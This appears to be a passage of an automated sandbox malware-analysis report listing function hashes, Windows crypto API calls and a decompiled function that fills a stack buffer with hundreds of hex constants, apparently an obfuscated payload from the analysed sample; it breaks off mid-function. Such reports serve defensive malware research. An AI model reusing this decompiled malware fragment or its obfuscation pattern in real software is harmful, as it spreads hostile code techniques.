Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CountMessageTick$DestroyDispatchObjectSingleTimerTranslateWaitWindow
String ID:
API String ID: 1391006589-0
Opcode ID: f6d336970b3311c490882b905c84d5ba68a814c5125d80d9397781eedccd9b28
Instruction ID: 8b0546b6bd12bbbab1a59e3af3c495f3b7434bb8a05f763bed597a5cb5e0c84c
Opcode Fuzzy Hash: f6d336970b3311c490882b905c84d5ba68a814c5125d80d9397781eedccd9b28
Instruction Fuzzy Hash: B901DC71A10204ABEB10AFA0FC8EB6E3B7DAF05701F900626F106D21A2CBB494599F20

Uniqueness

Uniqueness Score: 0.03%

Function 002A2314, Relevance: 3.0, APIs: 2, Instructions: 20encryptionCOMMON

APIs

CryptDecodeObjectEx.CRYPT32 ref: 002A231D
CryptReleaseContext.ADVAPI32(00000000), ref: 002A2357

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Crypt$ContextDecodeObjectRelease
String ID:
API String ID: 580087945-0
Opcode ID: bf929adab2f4daf001f55e48cdfa9a968167a0273285777d1c358a9b9a1de9c4
Instruction ID: 112a588cf4e28e098c089a44514df1ab0db714d6b34c50e75509bf94e27aa09f
Opcode Fuzzy Hash: bf929adab2f4daf001f55e48cdfa9a968167a0273285777d1c358a9b9a1de9c4
Instruction Fuzzy Hash: B6C08031330206CFD5111F59BC4CB783B54E705B12F14079BF945C1570CD51442496C5

Uniqueness

Uniqueness Score: 0.04%

Function 002A22F5, Relevance: 1.5, APIs: 1, Instructions: 10encryptionCOMMON

APIs

CryptAcquireContextW.ADVAPI32 ref: 002A22F7

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 64ecd1023acc71f4d960de77c07b037d7e3d6a4167aa6441d185d01ffa1486ad
Instruction ID: 95852af77fbd0637b5677ab921d3e08b81c730fe340699171bb7101ca31782f4
Opcode Fuzzy Hash: 64ecd1023acc71f4d960de77c07b037d7e3d6a4167aa6441d185d01ffa1486ad
Instruction Fuzzy Hash: D5B0922172592ACB59102EAA79083A8734AA602B52718839EE81DC2601D982C82886E2

Uniqueness

Uniqueness Score: 0.03%

Function 002A981A, Relevance: 44.3, APIs: 1, Strings: 24, Instructions: 503
libraryUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E002A981A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t484;
				void* _t487;
				struct HINSTANCE__* _t490;
				void* _t497;

				_t487 = __ebx;
				 *((intOrPtr*)(_t497 - 0x784)) = 0x15bef75a;
				 *((intOrPtr*)(_t497 - 0x780)) = 0xa3bffcbb;
				 *((intOrPtr*)(_t497 - 0x77c)) = 0x395b8677;
				 *((intOrPtr*)(_t497 - 0x778)) = 0xa632d866;
				 *((intOrPtr*)(_t497 - 0x774)) = 0xcf4b48aa;
				 *((intOrPtr*)(_t497 - 0x770)) = 0xd4dbd298;
				 *((intOrPtr*)(_t497 - 0x76c)) = 0x9f2b0520;
				 *((intOrPtr*)(_t497 - 0x768)) = 0x2676b65f;
				 *((intOrPtr*)(_t497 - 0x764)) = 0x7058f05;
				 *((intOrPtr*)(_t497 - 0x760)) = 0x260be349;
				 *((intOrPtr*)(_t497 - 0x75c)) = 0xe0da8348;
				 *((intOrPtr*)(_t497 - 0x758)) = 0x4786630c;
				 *((intOrPtr*)(_t497 - 0x754)) = 0x612240bc;
				 *((intOrPtr*)(_t497 - 0x750)) = 0x65ba3d72;
				 *((intOrPtr*)(_t497 - 0x74c)) = 0xd3e286b1;
				 *((intOrPtr*)(_t497 - 0x748)) = 0x84f35493;
				 *((intOrPtr*)(_t497 - 0x744)) = 0xfdc601e6;
				 *((intOrPtr*)(_t497 - 0x740)) = 0x37df02ce;
				 *((intOrPtr*)(_t497 - 0x73c)) = 0x35b62a52;
				 *((intOrPtr*)(_t497 - 0x738)) = 0xb46db004;
				 *((intOrPtr*)(_t497 - 0x734)) = 0x3b6410b6;
				 *((intOrPtr*)(_t497 - 0x730)) = 0x3a751e89;
				 *((intOrPtr*)(_t497 - 0x72c)) = 0xbb30ada2;
				 *((intOrPtr*)(_t497 - 0x728)) = 0xb33289da;
				 *((intOrPtr*)(_t497 - 0x724)) = 0x6db84284;
				 *((intOrPtr*)(_t497 - 0x720)) = 0x3e1a4d5c;
				 *((intOrPtr*)(_t497 - 0x71c)) = 0xf1424a60;
				 *((intOrPtr*)(_t497 - 0x718)) = 0x2417f16f;
				 *((intOrPtr*)(_t497 - 0x714)) = 0x6e679667;
				 *((intOrPtr*)(_t497 - 0x710)) = 0xcf738478;
				 *((intOrPtr*)(_t497 - 0x70c)) = 0x53f4d189;
				 *((intOrPtr*)(_t497 - 0x708)) = 0xa316dcf4;
				 *((intOrPtr*)(_t497 - 0x704)) = 0x5c48e5a;
				 *((intOrPtr*)(_t497 - 0x700)) = 0x49a38e27;
				 *((intOrPtr*)(_t497 - 0x6fc)) = 0x48a06e54;
				 *((intOrPtr*)(_t497 - 0x6f8)) = 0xd1fdf297;
				 *((intOrPtr*)(_t497 - 0x6f4)) = 0x9af08886;
				 *((intOrPtr*)(_t497 - 0x6f0)) = 0x9fd961ec;
				 *((intOrPtr*)(_t497 - 0x6ec)) = 0xb1650cb2;
				 *((intOrPtr*)(_t497 - 0x6e8)) = 0x6e86c13b;
				 *((intOrPtr*)(_t497 - 0x6e4)) = 0xf6d51cb5;
				 *((intOrPtr*)(_t497 - 0x6e0)) = 0x2eb1f9a2;
				 *((intOrPtr*)(_t497 - 0x6dc)) = 0xe01abe06;
				 *((intOrPtr*)(_t497 - 0x6d8)) = 0x6ee24c6e;
				 *((intOrPtr*)(_t497 - 0x6d4)) = 0x801d3efa;
				 *((intOrPtr*)(_t497 - 0x6d0)) = 0xe9539ec;
				 *((intOrPtr*)(_t497 - 0x6cc)) = 0x47b77be;
				 *((intOrPtr*)(_t497 - 0x6c8)) = 0x8efac8d6;
				 *((intOrPtr*)(_t497 - 0x6c4)) = 0xb46b539f;
				 *((intOrPtr*)(_t497 - 0x6c0)) = 0x2fd20f8e;
				 *((intOrPtr*)(_t497 - 0x6bc)) = 0x26c84843;
				 *((intOrPtr*)(_t497 - 0x6b8)) = 0x1c2b30a6;
				 *((intOrPtr*)(_t497 - 0x6b4)) = 0xee977c8d;
				 *((intOrPtr*)(_t497 - 0x6b0)) = 0x2a284367;
				 *((intOrPtr*)(_t497 - 0x6ac)) = 0xbef648c2;
				 *((intOrPtr*)(_t497 - 0x6a8)) = 0x441b7963;
				 *((intOrPtr*)(_t497 - 0x6a4)) = 0x4323342c;
				 *((intOrPtr*)(_t497 - 0x6a0)) = 0x41f7e790;
				 *((intOrPtr*)(_t497 - 0x69c)) = 0x98ddafcd;
				 *((intOrPtr*)(_t497 - 0x698)) = 0x80a75061;
				 *((intOrPtr*)(_t497 - 0x694)) = 0x11a996d4;
				 *((intOrPtr*)(_t497 - 0x690)) = 0xeed72a26;
				 *((intOrPtr*)(_t497 - 0x68c)) = 0x4b809551;
				 *((intOrPtr*)(_t497 - 0x688)) = 0x46206fad;
				 *((intOrPtr*)(_t497 - 0x684)) = 0x19921527;
				 *((intOrPtr*)(_t497 - 0x680)) = 0x59b1a820;
				 *((intOrPtr*)(_t497 - 0x67c)) = 0x563340b9;
				 *((intOrPtr*)(_t497 - 0x678)) = 0x6b63d980;
				 *((intOrPtr*)(_t497 - 0x674)) = 0xebb2b097;
				 *((intOrPtr*)(_t497 - 0x670)) = 0x7f0cdc40;
				 *((intOrPtr*)(_t497 - 0x66c)) = 0x95edbfbe;
				 *((intOrPtr*)(_t497 - 0x668)) = 0xa402b5ca;
				 *((intOrPtr*)(_t497 - 0x664)) = 0x2d18d66;
				 *((intOrPtr*)(_t497 - 0x660)) = 0x2cec7690;
				 *((intOrPtr*)(_t497 - 0x65c)) = 0xf35a85a5;
				 *((intOrPtr*)(_t497 - 0x658)) = 0x7b756298;
				 *((intOrPtr*)(_t497 - 0x654)) = 0xd2f43c74;
				 *((intOrPtr*)(_t497 - 0x650)) = 0x31f8a4f4;
				 *((intOrPtr*)(_t497 - 0x64c)) = 0x93a7110d;
				 *((intOrPtr*)(_t497 - 0x648)) = 0xfc26875c;
				 *((intOrPtr*)(_t497 - 0x644)) = 0xaccaa762;
				 *((intOrPtr*)(_t497 - 0x640)) = 0xa5d4db1d;
				 *((intOrPtr*)(_t497 - 0x63c)) = 0x578bbd1f;
				 *((intOrPtr*)(_t497 - 0x638)) = 0xa8fdba00;
				 *((intOrPtr*)(_t497 - 0x634)) = 0x7424e411;
				 *((intOrPtr*)(_t497 - 0x630)) = 0x8bc94f7a;
				 *((intOrPtr*)(_t497 - 0x62c)) = 0x2510d7ef;
				 *((intOrPtr*)(_t497 - 0x628)) = 0xde277a32;
				 *((intOrPtr*)(_t497 - 0x624)) = 0xd0772abe;
				 *((intOrPtr*)(_t497 - 0x620)) = 0xd4dac4ca;
				 *((intOrPtr*)(_t497 - 0x61c)) = 0x57327c1;
				 *((intOrPtr*)(_t497 - 0x618)) = 0x3763f4d6;
				 *((intOrPtr*)(_t497 - 0x614)) = 0x17bc3473;
				 *((intOrPtr*)(_t497 - 0x610)) = 0x108f3a35;
				 *((intOrPtr*)(_t497 - 0x60c)) = 0x16c06e1;
				 *((intOrPtr*)(_t497 - 0x608)) = 0x23e618d;
				 *((intOrPtr*)(_t497 - 0x604)) = 0xdff6bc15;
				 *((intOrPtr*)(_t497 - 0x600)) = 0x70153b00;
				 *((intOrPtr*)(_t497 - 0x5fc)) = 0xc2e9fe26;
				 *((intOrPtr*)(_t497 - 0x5f8)) = 0xa23640f9;
				 *((intOrPtr*)(_t497 - 0x5f4)) = 0x573df40d;
				 *((intOrPtr*)(_t497 - 0x5f0)) = 0xfb9be386;
				 *((intOrPtr*)(_t497 - 0x5ec)) = 0xa226a3eb;
				 *((intOrPtr*)(_t497 - 0x5e8)) = 0xbeabfac1;
				 *((intOrPtr*)(_t497 - 0x5e4)) = 0x839e452d;
				 *((intOrPtr*)(_t497 - 0x5e0)) = 0x493c089c;
				 *((intOrPtr*)(_t497 - 0x5dc)) = 0x1737f71b;
				 *((intOrPtr*)(_t497 - 0x5d8)) = 0xf7538864;
				 *((intOrPtr*)(_t497 - 0x5d4)) = 0xe33c52e9;
				 *((intOrPtr*)(_t497 - 0x5d0)) = 0xf1257337;
				 *((intOrPtr*)(_t497 - 0x5cc)) = 0xf12118c3;
				 *((intOrPtr*)(_t497 - 0x5c8)) = 0xeda4f82c;
				 *((intOrPtr*)(_t497 - 0x5c4)) = 0xc1790279;
				 *((intOrPtr*)(_t497 - 0x5c0)) = 0x81149917;
				 *((intOrPtr*)(_t497 - 0x5bc)) = 0xfdb04494;
				 *((intOrPtr*)(_t497 - 0x5b8)) = 0xa54c13e3;
				 *((intOrPtr*)(_t497 - 0x5b4)) = 0xe78544fe;
				 *((intOrPtr*)(_t497 - 0x5b0)) = 0xd63a546c;
				 *((intOrPtr*)(_t497 - 0x5ac)) = 0xe60ff60;
				 *((intOrPtr*)(_t497 - 0x5a8)) = 0xa0fa2ead;
				 *((intOrPtr*)(_t497 - 0x5a4)) = 0x39a341dc;
				 *((intOrPtr*)(_t497 - 0x5a0)) = 0xb68c7c67;
				 *((intOrPtr*)(_t497 - 0x59c)) = 0xb0c3ea0f;
				 *((intOrPtr*)(_t497 - 0x598)) = 0x42dfb46d;
				 *((intOrPtr*)(_t497 - 0x594)) = 0x378a25d;
				 *((intOrPtr*)(_t497 - 0x590)) = 0x739d34f9;
				 *((intOrPtr*)(_t497 - 0x58c)) = 0x94e9890a;
				 *((intOrPtr*)(_t497 - 0x588)) = 0x8cb576c9;
				 *((intOrPtr*)(_t497 - 0x584)) = 0x607448be;
				 *((intOrPtr*)(_t497 - 0x580)) = 0xc4ce8c65;
				 *((intOrPtr*)(_t497 - 0x57c)) = 0x7d868c67;
				 *((intOrPtr*)(_t497 - 0x578)) = 0x50d20d3e;
				 *((intOrPtr*)(_t497 - 0x574)) = 0x16b2a160;
				 *((intOrPtr*)(_t497 - 0x570)) = 0x8fcbcf0d;
				 *((intOrPtr*)(_t497 - 0x56c)) = 0xf6786314;
				 *((intOrPtr*)(_t497 - 0x568)) = 0x2720efde;
				 *((intOrPtr*)(_t497 - 0x564)) = 0xf5930c9e;
				 *((intOrPtr*)(_t497 - 0x560)) = 0x8048f17a;
				 *((intOrPtr*)(_t497 - 0x55c)) = 0xce48e03c;
				 *((intOrPtr*)(_t497 - 0x558)) = 0xec2317e3;
				 *((intOrPtr*)(_t497 - 0x554)) = 0x6325ec8d;
				 *((intOrPtr*)(_t497 - 0x550)) = 0x162aab5d;
				 *((intOrPtr*)(_t497 - 0x54c)) = 0x18f0f111;
				 *((intOrPtr*)(_t497 - 0x548)) = 0xe280fccc;
				 *((intOrPtr*)(_t497 - 0x544)) = 0x7073cf28;
				 *((intOrPtr*)(_t497 - 0x540)) = 0xae5529bf;
				 *((intOrPtr*)(_t497 - 0x53c)) = 0x80cda331;
				 *((intOrPtr*)(_t497 - 0x538)) = 0x9539e960;
				 *((intOrPtr*)(_t497 - 0x534)) = 0xfb1a072;
				 *((intOrPtr*)(_t497 - 0x530)) = 0x55366db8;
				 *((intOrPtr*)(_t497 - 0x52c)) = 0x24aaa7;
				 *((intOrPtr*)(_t497 - 0x528)) = 0x6bafa8b2;
				 *((intOrPtr*)(_t497 - 0x524)) = 0x72c13bda;
				 *((intOrPtr*)(_t497 - 0x520)) = 0xff461d96;
				 *((intOrPtr*)(_t497 - 0x51c)) = 0x5abc4015;
				 *((intOrPtr*)(_t497 - 0x518)) = 0x93be93fc;
				 *((intOrPtr*)(_t497 - 0x514)) = 0x51ce30b6;
				 *((intOrPtr*)(_t497 - 0x510)) = 0xf91a5622;
				 *((intOrPtr*)(_t497 - 0x50c)) = 0x4f6fc917;
				 *((intOrPtr*)(_t497 - 0x508)) = 0x3e3d9a57;
				 *((intOrPtr*)(_t497 - 0x504)) = 0x3190c08f;
				 *((intOrPtr*)(_t497 - 0x500)) = 0x9a09c306;
				 *((intOrPtr*)(_t497 - 0x4fc)) = 0xdddff074;
				 *((intOrPtr*)(_t497 - 0x4f8)) = 0xdbc96258;
				 *((intOrPtr*)(_t497 - 0x4f4)) = 0xe9b60db0;
				 *((intOrPtr*)(_t497 - 0x4f0)) = 0x3a57237e;
				 *((intOrPtr*)(_t497 - 0x4ec)) = 0x9f22d0bf;
				 *((intOrPtr*)(_t497 - 0x4e8)) = 0xfc0e864e;
				 *((intOrPtr*)(_t497 - 0x4e4)) = 0x3c554c46;
				 *((intOrPtr*)(_t497 - 0x4e0)) = 0x2550b30f;
				 *((intOrPtr*)(_t497 - 0x4dc)) = 0x8555523e;
				 *((intOrPtr*)(_t497 - 0x4d8)) = 0xf635ad86;
				 *((intOrPtr*)(_t497 - 0x4d4)) = 0xde0be185;
				 *((intOrPtr*)(_t497 - 0x4d0)) = 0x4951e60a;
				 *((intOrPtr*)(_t497 - 0x4cc)) = 0x2b8174e4;
				 *((intOrPtr*)(_t497 - 0x4c8)) = 0x21e1b177;
				 *((intOrPtr*)(_t497 - 0x4c4)) = 0x7bba479d;
				 *((intOrPtr*)(_t497 - 0x4c0)) = 0x8541f914;
				 *((intOrPtr*)(_t497 - 0x4bc)) = 0x837dced5;
				 *((intOrPtr*)(_t497 - 0x4b8)) = 0x58e80514;
				 *((intOrPtr*)(_t497 - 0x4b4)) = 0x7a7e76f7;
				 *((intOrPtr*)(_t497 - 0x4b0)) = 0x5537f7b6;
				 *((intOrPtr*)(_t497 - 0x4ac)) = 0xb4506f54;
				 *((intOrPtr*)(_t497 - 0x4a8)) = 0x17dcf2b3;
				 *((intOrPtr*)(_t497 - 0x4a4)) = 0xfe23888a;
				 *((intOrPtr*)(_t497 - 0x4a0)) = 0x12e16553;
				 *((intOrPtr*)(_t497 - 0x49c)) = 0x86731658;
				 *((intOrPtr*)(_t497 - 0x498)) = 0x43e79b03;
				 *((intOrPtr*)(_t497 - 0x494)) = 0x58754863;
				 *((intOrPtr*)(_t497 - 0x490)) = 0x8f49e939;
				 *((intOrPtr*)(_t497 - 0x48c)) = 0x512c50c7;
				 *((intOrPtr*)(_t497 - 0x488)) = 0x7b32abe7;
				 *((intOrPtr*)(_t497 - 0x484)) = 0x997b4d17;
				 *((intOrPtr*)(_t497 - 0x480)) = 0x93a891c2;
				 *((intOrPtr*)(_t497 - 0x47c)) = 0xf5f79f97;
				 *((intOrPtr*)(_t497 - 0x478)) = 0x166d6d9e;
				 *((intOrPtr*)(_t497 - 0x474)) = 0x58a6883a;
				 *((intOrPtr*)(_t497 - 0x470)) = 0xcd961cc9;
				 *((intOrPtr*)(_t497 - 0x46c)) = 0xe48d484f;
				 *((intOrPtr*)(_t497 - 0x468)) = 0x45d09d21;
				 *((intOrPtr*)(_t497 - 0x464)) = 0x7b5d5d9;
				 *((intOrPtr*)(_t497 - 0x460)) = 0xed3d7054;
				 *((intOrPtr*)(_t497 - 0x45c)) = 0x91c608ec;
				 *((intOrPtr*)(_t497 - 0x458)) = 0x2c3d819;
				 *((intOrPtr*)(_t497 - 0x454)) = 0xb855f390;
				 *((intOrPtr*)(_t497 - 0x450)) = 0x863bc3a0;
				 *((intOrPtr*)(_t497 - 0x44c)) = 0x549453ff;
				 *((intOrPtr*)(_t497 - 0x448)) = 0xaf4141bf;
				 *((intOrPtr*)(_t497 - 0x444)) = 0x6f808d21;
				 *((intOrPtr*)(_t497 - 0x440)) = 0x5250d18a;
				 *((intOrPtr*)(_t497 - 0x43c)) = 0x9501f7a1;
				 *((intOrPtr*)(_t497 - 0x438)) = 0xc5a102f2;
				 *((intOrPtr*)(_t497 - 0x434)) = 0x3cb68f30;
				 *((intOrPtr*)(_t497 - 0x430)) = 0xd46905d;
				 *((intOrPtr*)(_t497 - 0x42c)) = 0x2734e35d;
				 *((intOrPtr*)(_t497 - 0x428)) = 0x55d52e5c;
				 *((intOrPtr*)(_t497 - 0x424)) = 0x516241cd;
				 *((intOrPtr*)(_t497 - 0x420)) = 0xd46ce8fb;
				 *((intOrPtr*)(_t497 - 0x41c)) = 0x6ec10d89;
				 *((intOrPtr*)(_t497 - 0x418)) = 0x210455f;
				 *((intOrPtr*)(_t497 - 0x414)) = 0x58807e;
				 *((intOrPtr*)(_t497 - 0x410)) = 0xf8e8cc;
				 *((intOrPtr*)(_t497 - 0x40c)) = 0xcb32e57c;
				 *((intOrPtr*)(_t497 - 0x408)) = 0x733d72b;
				 *((intOrPtr*)(_t497 - 0x404)) = 0x53a2e65b;
				 *((intOrPtr*)(_t497 - 0x400)) = 0x3926fa77;
				 *((intOrPtr*)(_t497 - 0x3fc)) = 0x877d45dd;
				 *((intOrPtr*)(_t497 - 0x3f8)) = 0x3084d2dc;
				 *((intOrPtr*)(_t497 - 0x3f4)) = 0x8ddf56a4;
				 *((intOrPtr*)(_t497 - 0x3f0)) = 0x57258575;
				 *((intOrPtr*)(_t497 - 0x3ec)) = 0xd86be107;
				 *((intOrPtr*)(_t497 - 0x3e8)) = 0x405a4845;
				 *((intOrPtr*)(_t497 - 0x3e4)) = 0x8af9a552;
				 *((intOrPtr*)(_t497 - 0x3e0)) = 0xc80d8b91;
				 *((intOrPtr*)(_t497 - 0x3dc)) = 0x93b1f59e;
				 *((intOrPtr*)(_t497 - 0x3d8)) = 0xbfae7625;
				 *((intOrPtr*)(_t497 - 0x3d4)) = 0x95ca89;
				 *((intOrPtr*)(_t497 - 0x3d0)) = 0x3fa967f5;
				 *((intOrPtr*)(_t497 - 0x3cc)) = 0xf10a4097;
				 *((intOrPtr*)(_t497 - 0x3c8)) = 0xea4436e;
				 *((intOrPtr*)(_t497 - 0x3c4)) = 0x991a77a7;
				 *((intOrPtr*)(_t497 - 0x3c0)) = 0x252882c3;
				 *((intOrPtr*)(_t497 - 0x3bc)) = 0x94808a06;
				 *((intOrPtr*)(_t497 - 0x3b8)) = 0xd9c54081;
				 *((intOrPtr*)(_t497 - 0x3b4)) = 0x74679297;
				 *((intOrPtr*)(_t497 - 0x3b0)) = 0xa14f7bce;
				 *((intOrPtr*)(_t497 - 0x3ac)) = 0x677a7e05;
				 *((intOrPtr*)(_t497 - 0x3a8)) = 0xc18ff83f;
				 *((intOrPtr*)(_t497 - 0x3a4)) = 0x2c5e6f03;
				 *((intOrPtr*)(_t497 - 0x3a0)) = 0x39480b10;
				 *((intOrPtr*)(_t497 - 0x39c)) = 0x2dd12b1;
				 *((intOrPtr*)(_t497 - 0x398)) = 0x846e192e;
				 *((intOrPtr*)(_t497 - 0x394)) = 0x6de12927;
				 *((intOrPtr*)(_t497 - 0x390)) = 0x782bd158;
				 *((intOrPtr*)(_t497 - 0x38c)) = 0x38a7b15f;
				 *((intOrPtr*)(_t497 - 0x388)) = 0x58d5007b;
				 *((intOrPtr*)(_t497 - 0x384)) = 0x4216dfd6;
				 *((intOrPtr*)(_t497 - 0x380)) = 0x2f4bdd5a;
				 *((intOrPtr*)(_t497 - 0x37c)) = 0xc8fb2eed;
				 *((intOrPtr*)(_t497 - 0x378)) = 0xdb3ffcf4;
				 *((intOrPtr*)(_t497 - 0x374)) = 0x1983397;
				 *((intOrPtr*)(_t497 - 0x370)) = 0xf4eb396;
				 *((intOrPtr*)(_t497 - 0x36c)) = 0xbf71f231;
				 *((intOrPtr*)(_t497 - 0x368)) = 0x892ca8d7;
				 *((intOrPtr*)(_t497 - 0x364)) = 0xfa5a7f18;
				 *((intOrPtr*)(_t497 - 0x360)) = 0x6061b875;
				 *((intOrPtr*)(_t497 - 0x35c)) = 0x65141b5b;
				 *((intOrPtr*)(_t497 - 0x358)) = 0xed7556d6;
				 *((intOrPtr*)(_t497 - 0x354)) = 0xda2d5ac1;
				 *((intOrPtr*)(_t497 - 0x350)) = 0x6b3c08d8;
				 *((intOrPtr*)(_t497 - 0x34c)) = 0xbe8b4dd0;
				 *((intOrPtr*)(_t497 - 0x348)) = 0x80b282f3;
				 *((intOrPtr*)(_t497 - 0x344)) = 0x1ed4b6af;
				 *((intOrPtr*)(_t497 - 0x340)) = 0x9d3935d1;
				 *((intOrPtr*)(_t497 - 0x33c)) = 0xcbc7f30f;
				 *((intOrPtr*)(_t497 - 0x338)) = 0xb250700d;
				 *((intOrPtr*)(_t497 - 0x334)) = 0xeb84a342;
				 *((intOrPtr*)(_t497 - 0x330)) = 0x55112623;
				 *((intOrPtr*)(_t497 - 0x32c)) = 0xcf9352e1;
				 *((intOrPtr*)(_t497 - 0x328)) = 0xccae43eb;
				 *((intOrPtr*)(_t497 - 0x324)) = 0xb7af4460;
				 *((intOrPtr*)(_t497 - 0x320)) = 0xac8884d2;
				 *((intOrPtr*)(_t497 - 0x31c)) = 0x4e83beed;
				 *((intOrPtr*)(_t497 - 0x318)) = 0xc7a2b19f;
				 *((intOrPtr*)(_t497 - 0x314)) = 0xaf22134b;
				 *((intOrPtr*)(_t497 - 0x310)) = 0x4efa991f;
				 *((intOrPtr*)(_t497 - 0x30c)) = 0x101715e4;
				 *((intOrPtr*)(_t497 - 0x308)) = 0x3ddde0cd;
				 *((intOrPtr*)(_t497 - 0x304)) = 0xaa1e7b15;
				 *((intOrPtr*)(_t497 - 0x300)) = 0x827da808;
				 *((intOrPtr*)(_t497 - 0x2fc)) = 0xdbca0125;
				 *((intOrPtr*)(_t497 - 0x2f8)) = 0x58ef76fe;
				 *((intOrPtr*)(_t497 - 0x2f4)) = 0x5553a68f;
				 *((intOrPtr*)(_t497 - 0x2f0)) = 0xe1346af4;
				 *((intOrPtr*)(_t497 - 0x2ec)) = 0x33802e84;
				 *((intOrPtr*)(_t497 - 0x2e8)) = 0xbca287c1;
				 *((intOrPtr*)(_t497 - 0x2e4)) = 0xfe8d73f2;
				 *((intOrPtr*)(_t497 - 0x2e0)) = 0x2581343b;
				 *((intOrPtr*)(_t497 - 0x2dc)) = 0x3ce1606c;
				 *((intOrPtr*)(_t497 - 0x2d8)) = 0x9d7ca106;
				 *((intOrPtr*)(_t497 - 0x2d4)) = 0xed9a86b9;
				 *((intOrPtr*)(_t497 - 0x2d0)) = 0xedd5bc9e;
				 *((intOrPtr*)(_t497 - 0x2cc)) = 0x7543ca27;
				 *((intOrPtr*)(_t497 - 0x2c8)) = 0x2b4064f4;
				 *((intOrPtr*)(_t497 - 0x2c4)) = 0xd07c6965;
				 *((intOrPtr*)(_t497 - 0x2c0)) = 0x6f3ceab3;
				 *((intOrPtr*)(_t497 - 0x2bc)) = 0x33281f9d;
				 *((intOrPtr*)(_t497 - 0x2b8)) = 0x97f6abf5;
				 *((intOrPtr*)(_t497 - 0x2b4)) = 0xbe079438;
				 *((intOrPtr*)(_t497 - 0x2b0)) = 0xd5c4412;
				 *((intOrPtr*)(_t497 - 0x2ac)) = 0xd9c1674;
				 *((intOrPtr*)(_t497 - 0x2a8)) = 0x263837a5;
				 *((intOrPtr*)(_t497 - 0x2a4)) = 0x3d5a8d3;
				 *((intOrPtr*)(_t497 - 0x2a0)) = 0xb9f8b67a;
				 *((intOrPtr*)(_t497 - 0x29c)) = 0x1554ff5d;
				 *((intOrPtr*)(_t497 - 0x298)) = 0xe22428a;
				 *((intOrPtr*)(_t497 - 0x294)) = 0xeea6f809;
				 *((intOrPtr*)(_t497 - 0x290)) = 0x2f9726f8;
				 *((intOrPtr*)(_t497 - 0x28c)) = 0xf56549fe;
				 *((intOrPtr*)(_t497 - 0x288)) = 0xe6ac083a;
				 *((intOrPtr*)(_t497 - 0x284)) = 0x10d109d5;
				 *((intOrPtr*)(_t497 - 0x280)) = 0x429c151c;
				 *((intOrPtr*)(_t497 - 0x27c)) = 0xbbc82a6d;
				 *((intOrPtr*)(_t497 - 0x278)) = 0xf2194c92;
				 *((intOrPtr*)(_t497 - 0x274)) = 0x4431be1c;
				 *((intOrPtr*)(_t497 - 0x270)) = 0x437d3e51;
				 *((intOrPtr*)(_t497 - 0x26c)) = 0xe120268d;
				 *((intOrPtr*)(_t497 - 0x268)) = 0xa7d747c5;
				 *((intOrPtr*)(_t497 - 0x264)) = 0xb73702c8;
				 *((intOrPtr*)(_t497 - 0x260)) = 0xf81331a8;
				 *((intOrPtr*)(_t497 - 0x25c)) = 0x7f62767a;
				 *((intOrPtr*)(_t497 - 0x258)) = 0xe3940399;
				 *((intOrPtr*)(_t497 - 0x254)) = 0x2201e821;
				 *((intOrPtr*)(_t497 - 0x250)) = 0x4452dd75;
				 *((intOrPtr*)(_t497 - 0x24c)) = 0x3262e884;
				 *((intOrPtr*)(_t497 - 0x248)) = 0x76130a34;
				 *((intOrPtr*)(_t497 - 0x244)) = 0xce800310;
				 *((intOrPtr*)(_t497 - 0x240)) = 0x86169653;
				 *((intOrPtr*)(_t497 - 0x23c)) = 0xf93ebe99;
				 *((intOrPtr*)(_t497 - 0x238)) = 0x95ddb97e;
				 *((intOrPtr*)(_t497 - 0x234)) = 0x22138aa9;
				 *((intOrPtr*)(_t497 - 0x230)) = 0xd814aa39;
				 *((intOrPtr*)(_t497 - 0x22c)) = 0x31e17eee;
				 *((intOrPtr*)(_t497 - 0x228)) = 0x8859017;
				 *((intOrPtr*)(_t497 - 0x224)) = 0x5dec496a;
				 *((intOrPtr*)(_t497 - 0x220)) = 0x7e8e021e;
				 *((intOrPtr*)(_t497 - 0x21c)) = 0x575c4eec;
				 *((intOrPtr*)(_t497 - 0x218)) = 0x4be2b5ce;
				 *((intOrPtr*)(_t497 - 0x214)) = 0x7b5bdfa8;
				 *((intOrPtr*)(_t497 - 0x210)) = 0xd6bd4272;
				 *((intOrPtr*)(_t497 - 0x20c)) = 0x9515db60;
				 *((intOrPtr*)(_t497 - 0x208)) = 0x74fd0696;
				 *((intOrPtr*)(_t497 - 0x204)) = 0x44267c19;
				 *((intOrPtr*)(_t497 - 0x200)) = 0x73c99ab6;
				 *((intOrPtr*)(_t497 - 0x1fc)) = 0x40c16702;
				 *((intOrPtr*)(_t497 - 0x1f8)) = 0xb62de1c5;
				 *((intOrPtr*)(_t497 - 0x1f4)) = 0xf708b888;
				 *((intOrPtr*)(_t497 - 0x1f0)) = 0x9174087;
				 *((intOrPtr*)(_t497 - 0x1ec)) = 0x293434e2;
				 *((intOrPtr*)(_t497 - 0x1e8)) = 0x8dcb1c7d;
				 *((intOrPtr*)(_t497 - 0x1e4)) = 0xfd8d4256;
				 *((intOrPtr*)(_t497 - 0x1e0)) = 0x1b2c1f3;
				 *((intOrPtr*)(_t497 - 0x1dc)) = 0x5212f295;
				 *((intOrPtr*)(_t497 - 0x1d8)) = 0xa7e022f7;
				 *((intOrPtr*)(_t497 - 0x1d4)) = 0xc635898f;
				 *((intOrPtr*)(_t497 - 0x1d0)) = 0x40aad921;
				 *((intOrPtr*)(_t497 - 0x1cc)) = 0x96227935;
				 *((intOrPtr*)(_t497 - 0x1c8)) = 0x37ec653c;
				 *((intOrPtr*)(_t497 - 0x1c4)) = 0x3d966d59;
